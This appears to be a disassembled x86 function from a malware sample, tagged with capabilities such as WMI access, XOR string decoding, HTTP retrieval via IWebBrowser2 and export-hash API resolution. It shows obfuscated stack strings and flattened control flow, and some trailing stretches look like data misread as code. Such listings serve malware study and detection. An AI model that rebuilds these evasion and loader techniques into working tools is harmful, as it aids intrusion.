Function at 0x439740
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb8
mov eax, dword [0x44f124]
mov dword [esp + 0x40], 0xb74989a5
mov dword [esp + 0x44], 0xb32db52d
mov dword [esp + 0x48], 0xbf53b12c
mov dword [esp + 0x4c], 0xbb76bd29
mov dword [esp + 0x50], 0xa74fb926
mov dword [esp + 0x54], 0xa34fa53e
mov dword [esp + 0x58], 0xafaea18d
mov word [esp + 0x5c], 0
mov dword [esp + 0x14], 0
mov ecx, dword [esp + 0x14]
cmp ecx, 0x1d
ja 0x4397f7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x14]
movzx edx, byte [esp + edx + 0x40]
add ecx, 0xe3ede45e
xor ecx, edx
mov dword [esp + 0xa4], ecx
mov ecx, dword [esp + 0xa4]
mov edx, ecx
not edx
and edx, 0xd6
and ecx, 0x29
sub ecx, edx
mov edx, dword [esp + 0x14]
mov byte [esp + edx + 0x40], cl
inc dword [esp + 0x14]
mov ecx, dword [esp + 0x14]
cmp ecx, 0x1e
jb 0x4397b0
lea ecx, [esp + 0x14]
lea ebx, [esp + 0xa4]
lea esi, [esp + 0x40]
push ecx
push 8
push ebx
push 0xd
push esi
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c98c]
mov dword [esp + 0xa4], 0x3a0043
mov dword [esp + 0xa8], 0x5c
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x3c], 0
lea eax, [esp + 0x3c]
push eax
push 0x4470f0
push 1
push 0
push 0x447100
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c994]
mov dword [esp + 0x40], 0x71bf0fbe
mov dword [esp + 0x44], 0x75c673c1
mov dword [esp + 0x48], 0x793377c8
mov dword [esp + 0x4c], 0x7d357b33
mov dword [esp + 0x50], 0x612c7fca
mov word [esp + 0x54], 0x6360
mov dword [esp + 0x56], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x19
ja 0x43990e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x40]
mov edx, eax
xor edx, 0xe767073d
and eax, 0xe767073d
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x78]
add al, 0xcf
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x1a
jb 0x4398d0
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c99c]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x54]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c9a4]
mov dword [esp + 0xa0], edi
mov dword [esp + 0x40], 0x83d381d7
mov dword [esp + 0x44], 0x878685c8
mov byte [esp + 0x48], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 8
ja 0x4399f5
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x40]
mov edx, eax
xor edx, 0xd1be81a0
and eax, 0xd1be81a0
lea edx, [edx + eax*2]
lea eax, [edx + ecx]
mov esi, ecx
not esi
or esi, edx
lea edx, [ecx + esi]
add ecx, esi
inc ecx
mov esi, eax
not esi
and esi, ecx
not ecx
and ecx, eax
lea eax, [esi + edx]
inc eax
sub ecx, eax
mov dword [esp + 0x78], ecx
mov eax, dword [esp + 0x78]
mov ecx, eax
xor ecx, 0x20
and eax, 0x5f
add eax, eax
sub eax, ecx
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 9
jb 0x439990
lea esi, [esp + 0x40]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp + 0x40], 0xf1c90fb9
mov dword [esp + 0x44], 0xf535f33c
mov dword [esp + 0x48], 0xf942f731
mov dword [esp + 0x4c], 0xfd10fb18
mov dword [esp + 0x50], 0xe138ff1c
mov dword [esp + 0x54], 0xe553e352
mov dword [esp + 0x58], 0xe906e72b
mov dword [esp + 0x5c], 0xed41eb51
mov dword [esp + 0x60], 0xd13bef42
mov dword [esp + 0x64], 0xd573d302
mov dword [esp + 0x68], 0xd91dd716
mov dword [esp + 0x6c], 0xdd6fdb69
mov dword [esp + 0x70], 0xdfdc
mov byte [esp + 0x74], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x34
ja 0x439ac3
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x40]
lea edx, [eax + ecx]
add edx, 0xaf8efd
add eax, 0xaf8efd
not ecx
or eax, ecx
sub ecx, eax
lea eax, [edx + ecx*2]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x78]
add al, 0xf
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x35
jb case.default.0x439aeb
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, dword [esp + 0x38]
mov ecx, dword [ebx]
lea edx, [esp + 0x34]
push edx
push 0
push 0x30
mov dword [esp + 0xa8], eax
push eax
push edi
push ebx
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c9ac]
lea ebx, [esp + 0xa4]
jmp dword [0x44ca00]
lea ebx, [esp + 0xa4]
jmp dword [0x44c9b4]
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
lea esi, [esp + 0x30]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
nop
nop
nop
nop
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
lea esi, [esp + 0x30]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
jmp dword [0x44c9c0]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x10], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x44c9c4]
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x30]
mov dword [esp + 0x40], 0xe307e133
mov dword [esp + 0x44], 0xe71fe516
mov dword [esp + 0x48], 0xfb06f919
mov dword [esp + 0x4c], 0xff0bfd22
mov dword [esp + 0x50], 0xf310f10d
mov dword [esp + 0x54], 0xf704f511
mov dword [esp + 0x58], 0x8988
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0xc]
cmp ecx, 0x1b
ja 0x439c21
nop
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0xc]
movzx edx, byte [esp + edx + 0x40]
mov esi, ecx
xor esi, 0xa42262a8
and ecx, 0x242262a8
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, esi
sub ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 4]
add cl, 0xb8
mov edx, dword [esp + 0xc]
mov byte [esp + edx + 0x40], cl
inc dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
cmp ecx, 0x1c
jb 0x439bd0
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x80]
push esi
push 0
lea edx, [esp + 0x50]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x78], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44c9cc]
push dword [esp + 0x80]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esp + 0x80]
mov dword [esp + 8], eax
lea ecx, [edx + eax*2]
push ecx
push edx
call fcn.0042fb60
add esp, 8
mov esi, eax
inc eax
mov dword [esp + 0x2c], eax
push eax
call fcn.0040c4b0
add esp, 4
mov ebx, eax
test esi, esi
mov dword [esp + 0x90], eax
jle 0x439ddd
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 8]
lea edx, [ecx + edx*2]
mov dword [esp + 0x94], edx
lea edx, [eax + esi]
mov dword [esp + 0x98], edx
add dword [esp + 0x2c], eax
mov edx, ecx
mov ebx, eax
mov eax, ecx
mov dword [esp + 0x8c], ecx
jmp 0x439cea
mov byte [ebx], dl
mov dword [esp + 8], 1
add eax, 2
add ebx, dword [esp + 8]
cmp ebx, dword [esp + 0x98]
jae 0x439ddd
test ecx, ecx
je 0x439cfb
cmp eax, dword [esp + 0x94]
jae 0x439ddd
movzx edx, word [eax]
test dx, dx
je 0x439ddd
cmp dx, 0x7f
jbe 0x439ccc
mov dword [esp + 0x28], eax
mov ecx, ebx
xor ecx, dword [esp + 0x2c]
mov eax, ebx
not eax
and eax, dword [esp + 0x2c]
add eax, eax
sub eax, ecx
mov ecx, eax
not ecx
and ecx, 1
and eax, 0xfffffffe
sub eax, ecx
movzx ecx, dx
cmp eax, 2
jb 0x439d69
cmp ecx, 0x7ff
ja 0x439d69
mov eax, edx
shr eax, 6
add al, 0xc0
mov byte [ebx], al
and dl, 0x3f
or dl, 0x80
mov byte [ebx + 1], dl
mov dword [esp + 8], 2
mov ecx, dword [esp + 0x8c]
mov eax, dword [esp + 0x28]
jmp 0x439cd6
mov dword [esp + 0x24], ecx
mov dword [esp + 8], 0
cmp eax, 3
mov ecx, dword [esp + 0x8c]
mov eax, dword [esp + 0x28]
jb 0x439cd6
mov eax, dword [esp + 0x24]
shr eax, 0xc
or al, 0xe0
mov byte [ebx], al
mov eax, dword [esp + 0x28]
shr dword [esp + 0x24], 6
mov dword [esp + 0x88], ebx
mov ebx, dword [esp + 0x24]
and bl, 0x3f
or bl, 0x80
mov dword [esp + 8], edx
mov edx, dword [esp + 0x88]
mov byte [edx + 1], bl
mov ebx, dword [esp + 0x88]
mov edx, dword [esp + 8]
and dl, 0x3f
or dl, 0x80
mov byte [ebx + 2], dl
mov dword [esp + 8], 3
jmp 0x439cd6
mov byte [ebx], 0
xor eax, eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x44c9d4]
mov ecx, eax
and ecx, 0xfffffffb
mov edx, eax
and edx, 4
mov ebx, eax
or ebx, 4
imul ebx, edx
xor edx, 4
imul edx, ecx
add ebx, dword [esp + 0x90]
mov ecx, dword [edx + ebx]
mov dword [esp + eax*4 + 0x14], ecx
mov ecx, esi
xor ecx, 4
and esi, 0xfffffffb
add esi, esi
sub esi, ecx
xor ecx, ecx
cmp esi, 4
setb cl
jmp dword [ecx*4 + 0x44c9dc]
inc eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x44c9d4]
lea ebx, [esp + 0xa4]
mov esi, dword [esp + 0x90]
jmp dword [0x44c9e4]
jmp dword [0x44c9f0]
xor ecx, ecx
test edi, edi
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x44ca1c]
xor ecx, ecx
cmp dword [esp + edi*4 + 0x14], 0
sete cl
mov eax, edi
jmp dword [ecx*4 + 0x44ca24]
lea eax, [edi - 1]
imul eax, dword [esp + eax*4 + 0x14], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + edi*4 + 0x14], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push esi
push eax
call fcn.00419c00
add esp, 0x10
nop
nop
nop
nop
nop
nop
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne case.default.0x439ed4
neg ebx
xor ecx, ecx
add ebx, 0xffffffff
setb cl
jmp dword [ecx*4 + 0x44ca2c]
mov byte [eax - 1], 0x30
dec eax
xor ecx, ecx
add ebx, 0xffffffff
setb cl
jmp dword [ecx*4 + 0x44ca2c]
jmp dword [0x44ca40]
inc edi
add esi, 8
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x44ca14]
push edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x40], 0
push 0xefddb36b
push dword [0x44f11c]
call fcn.00442650
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push ebx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ca0c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, dword [ebp + 8]
mov eax, dword [esp + 0x40]
mov dword [esp + 0x14], eax
xor edi, edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x44ca14]
push esi
call fcn.0040c4c0
add esp, 4
push esi
call fcn.0040c4c0
add esp, 4
jmp dword [0x44c9f8]
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x30]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea esi, [esp + 0x40]
jmp dword [0x44ca00]
push edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp dword [0x44ca04]
push dword [esp + 0x9c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov edi, dword [esp + 0xa0]
mov eax, dword [esp + 0x38]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp case.0x439938.0
xor eax, eax
jmp 0x43a31a
push 0x400
call fcn.0043ce00
add esp, 4
mov esi, eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 8], 0x94959a9b
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 6
ja 0x43a0cf
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov edx, dword [esp]
movzx edi, byte [esp + edx + 8]
mov edx, eax
not edx
or edx, 0x4bdb47a6
add edx, eax
xor eax, 0x4bdb47a6
lea ebx, [eax + edx*2]
lea edx, [eax + edx*2]
add edx, 2
lea eax, [edi + ebx]
add eax, 2
and edx, edi
mov edi, eax
not edi
and edi, edx
mov ebx, edx
not ebx
and eax, ebx
sub eax, edi
xor edx, eax
and eax, ebx
add eax, eax
sub eax, edx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
add al, 0xc2
mov edx, dword [esp]
mov byte [esp + edx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 7
jb 0x43a070
mov eax, dword [esp + 8]
mov edx, dword [0x44f128]
test edx, edx
je case.default.0x43a138
xor edi, edi
mov ebx, dword [0x44f12c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x77a9e0c4
je 0x43a100
inc edi
cmp edx, edi
jne 0x43a0f0
jmp case.default.0x43a138
mov edx, dword [ebx + edi*8 + 4]
cmp edx, eax
je case.default.0x43a138
lea eax, [esp + 0x24]
push 0x2f
push 0x400
push esi
push eax
push ecx
push 5
push dword [0x44f130]
push edx
call fcn.0043fbf0
add esp, 0x20
not eax
shr eax, 0x1f
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], esi
jmp dword [eax*4 + 0x44ca4c]
push esi
call fcn.0043cea0
add esp, 4
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], 0x94959a9b
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 6
ja 0x43a1e4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx esi, byte [esp + edx + 8]
mov edx, ecx
not edx
or edx, 0x4bdb47a6
add edx, ecx
xor ecx, 0x4bdb47a6
lea edi, [ecx + edx*2]
lea edx, [ecx + edx*2]
add edx, 2
lea ecx, [esi + edi]
add ecx, 2
and edx, esi
mov esi, ecx
not esi
and esi, edx
mov edi, edx
not edi
and ecx, edi
sub ecx, esi
xor edx, ecx
and ecx, edi
add ecx, ecx
sub ecx, edx
mov dword [esp], ecx
mov ecx, dword [esp]
add cl, 0xc2
mov edx, dword [esp + 4]
mov byte [esp + edx + 8], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 7
jb 0x43a180
mov ecx, dword [0x44f128]
test ecx, ecx
je 0x43a314
mov edx, dword [esp + 8]
xor esi, esi
mov edi, dword [0x44f12c]
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x43a2fa
inc esi
cmp ecx, esi
jne 0x43a200
jmp 0x43a314
mov ebp, dword [esp + 0x44]
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x18], 0
cmp ecx, dword [esi]
setb al
xor ebx, ebx
jmp dword [eax*4 + 0x44ca54]
mov ebp, esi
lea ecx, [esp + 8]
call fcn.0043d340
mov eax, ebx
xor eax, 0xfb7a2024
and ebx, 0x485dfdb
add ebx, ebx
sub ebx, eax
inc ebx
mov eax, ebx
and eax, 0xfb7a2024
xor ebx, 0xfb7a2024
lea ebx, [ebx + eax*2]
xor eax, eax
mov esi, dword [esp + 0x20]
cmp ebx, dword [esi]
setb al
jmp dword [eax*4 + 0x44ca54]
mov eax, dword [esi + ebx*4 + 4]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea edi, [esp + 8]
mov ecx, edi
push 0
push eax
call fcn.0043d190
xor eax, eax
mov ecx, ebp
neg ecx
mov esi, ebp
mov ebp, dword [esp + 0x48]
sbb eax, ebp
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, edi
push eax
call fcn.0043d1b0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ca5c]
lea ecx, [esp + 8]
push ebp
push esi
push 0
call fcn.0043d420
test eax, eax
setns al
mov dword [esp + 0x18], eax
jmp case.0x43a138.4
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x43a314
push eax
push 1
push dword [0x44f130]
push ecx
call fcn.0043fbf0
add esp, 0x10
mov eax, dword [esp + 0x18]
and al, 1
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, dword [esp + 0x1f8]
mov ebp, dword [esp + 0x1fc]
mov edx, dword [ebp + edx*4]
jmp edx
rcl dword [esi + 0x3f]
salc
or al, 2
enter 0xffffffffffff8b1c, 0x44
and al, 0x50
mov ecx, dword [esp + 0x54]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 0x3c]
jmp eax
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x6c]
mov ecx, dword [ecx + eax*4]
mov al, 1
jmp ecx
call fcn.0040df70
mov dword [esp + 0x128], 1
mov eax, dword [esp + 0x12c]
mov ecx, dword [esp + 0x128]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x118]
mov edx, dword [esp + 0x11c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ax, word [esi]
test ax, ax
sete al
mov ecx, dword [esp + 0x140]
mov edx, dword [esp + 0x144]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ecx, dword [esp + 0x100]
mov edx, dword [esp + 0x104]
mov ecx, dword [edx + ecx*4]
mov ebx, eax
jmp ecx
call fcn.0040df70
mov dword [esp + 0x1a8], 1
mov eax, dword [esp + 0x1ac]
mov ecx, dword [esp + 0x1a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x298]
mov ecx, dword [esp + 0x29c]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
sub dword [esi + 0x6a], ecx
xor byte ds:[ebx + 0x448bcbe0], cl
and al, 0x40
mov ecx, dword [esp + 0x44]
mov eax, dword [ecx + eax*4]
jmp eax
mov edi, ebp
add edi, 2
mov ecx, dword [esp + 0x180]
mov edx, dword [esp + 0x184]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ax, word [edi]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x148], ecx
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x148]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
add eax, 0xfffffffe
mov ecx, dword [esp + 0xf8]
mov edx, dword [esp + 0xfc]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov cx, word [eax]
xor edx, edx
sub cx, 0x5c
sete dl
mov dword [esp + 0x108], edx
mov ecx, dword [esp + 0x10c]
mov edx, dword [esp + 0x108]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040df70
mov dword [esp], ebp
call fcn.00419e40
lea esi, [ebp + eax*2]
mov dword [esp + 0x270], 1
mov eax, dword [esp + 0x274]
mov ecx, dword [esp + 0x270]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df70
xor eax, eax
cmp dword [esp + 0x38], 0
sete cl
mov dword [esp + 0x200], 0
mov edx, dword [esp + 0x204]
mov ebp, dword [esp + 0x200]
mov edx, dword [edx + ebp*4]
jmp edx
mov word [ebx], 0x5c
add ebx, 2
add ebp, 2
mov eax, dword [esp + 0x250]
mov ecx, dword [esp + 0x254]
mov eax, dword [ecx + eax*4]
mov esi, ebp
jmp eax
lahf
pop edi
xchg dword [edi], esp
mov dword [esp], ebp
call fcn.00419e40
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df70
mov dword [esp + 0x238], 0
mov eax, dword [esp + 0x23c]
mov ecx, dword [esp + 0x238]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1b8]
mov ecx, dword [esp + 0x1bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1c8]
mov ecx, dword [esp + 0x1cc]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [edi]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x1e0], ecx
mov eax, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e0]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x1a4]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [edi], 0
mov eax, dword [esp + 0x290]
mov ecx, dword [esp + 0x294]
mov eax, dword [ecx + eax*4]
mov ebx, edi
jmp eax
xor eax, eax
mov ecx, ebx
mov edi, dword [esp + 0x2c0]
sub ecx, edi
seta al
mov dword [esp + 0x220], eax
mov eax, dword [esp + 0x224]
mov ecx, dword [esp + 0x220]
mov eax, dword [eax + ecx*4]
jmp eax
mov cx, word [ebp]
xor edx, edx
sub cx, 0x2e
sete dl
mov dword [esp + 0x188], edx
mov ecx, dword [esp + 0x18c]
mov edx, dword [esp + 0x188]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 2
sete cl
mov dword [esp + 0x248], ecx
mov ecx, dword [esp + 0x24c]
mov edx, dword [esp + 0x248]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov cx, word [ebp]
xor edx, edx
sub cx, 0x5c
sete dl
mov dword [esp + 0x258], edx
mov ecx, dword [esp + 0x25c]
mov edx, dword [esp + 0x258]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov ax, word [edi]
mov ecx, dword [esp + 0x218]
mov edx, dword [esp + 0x21c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov al, byte [esp + 0x20]
mov byte [esp + 0x24], al
mov byte [esp + 0x2c], 0xe
mov byte [esp + 0x2d], 0xc9
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0xd7
mov byte [esp + 0x30], 0xd4
mov byte [esp + 0x31], 0xd5
mov eax, 6
mov byte [esp + eax + 0x2c], 0
add eax, 1
cmp eax, 0xa
jne 0x43afd2
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 0xa
jae 0x43b01c
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043cdb0
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx + 0x2c], al
mov eax, dword [esp + 0xc]
inc eax
mov dword [esp + 0xc], eax
jmp 0x43afe7
mov ebp, edi
add ebp, 2
lea eax, [esp + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], ebp
call fcn.0043b500
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x1e8], ecx
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
add ebp, 4
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0x19c]
mov eax, dword [ecx + eax*4]
mov esi, ebp
mov edi, dword [esp + 0x2c0]
jmp eax
call fcn.0040df70
mov dword [esp + 0x278], 1
mov eax, dword [esp + 0x27c]
mov ecx, dword [esp + 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [ebp]
test ax, ax
sete al
mov ecx, dword [esp + 0x1d8]
mov edx, dword [esp + 0x1dc]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ax, word [edi + 2]
xor ecx, ecx
sub ax, 0x3a
sete cl
mov dword [esp + 0x98], ecx
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0x98]
mov eax, dword [eax + ecx*4]
jmp eax
mov word [ebx], 0
mov eax, dword [esp + 0xc8]
mov ecx, dword [esp + 0xcc]
mov eax, dword [ecx + eax*4]
mov ebp, esi
jmp eax
mov al, byte [esp + 0x1c]
mov byte [esp + 0x28], al
mov byte [esp + 0x14], 0xda
mov byte [esp + 0x15], 0x2b
mov byte [esp + 0x16], 0xf6
mov byte [esp + 0x17], 0x29
mov byte [esp + 0x18], 0x28
mov byte [esp + 0x19], 0x2f
mov eax, 6
mov byte [esp + eax + 0x14], 0
add eax, 1
cmp eax, 8
jne 0x43b176
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 8
jae 0x43b1c0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x14]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043cdd0
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x14], al
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
jmp 0x43b18b
mov esi, edi
add esi, 2
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.0043b500
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x150], ecx
mov eax, dword [esp + 0x154]
mov ecx, dword [esp + 0x150]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [edi]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0xc0], ecx
mov eax, dword [esp + 0xc4]
mov ecx, dword [esp + 0xc0]
mov eax, dword [eax + ecx*4]
jmp eax
inc al
movzx eax, al
and eax, 1
mov dword [esp + 0x1d0], eax
mov eax, dword [esp + 0x1d4]
mov ecx, dword [esp + 0x1d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x228], eax
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x228]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 3
sete cl
mov dword [esp + 0x190], ecx
mov ecx, dword [esp + 0x194]
mov edx, dword [esp + 0x190]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, edi
add eax, 4
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x94]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov eax, dword [ecx + eax*4]
jmp eax
sub esi, ebp
sar esi, 1
mov eax, esi
inc eax
xor ecx, ecx
mov edx, eax
sub edx, 1
sete cl
mov dword [esp + 0x260], ecx
mov ecx, dword [esp + 0x264]
mov edx, dword [esp + 0x260]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov word [eax], 0x5c
mov word [edi + 6], 0
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 8], eax
mov dword [esp + 4], ebp
mov dword [esp], ebx
call fcn.00422b90
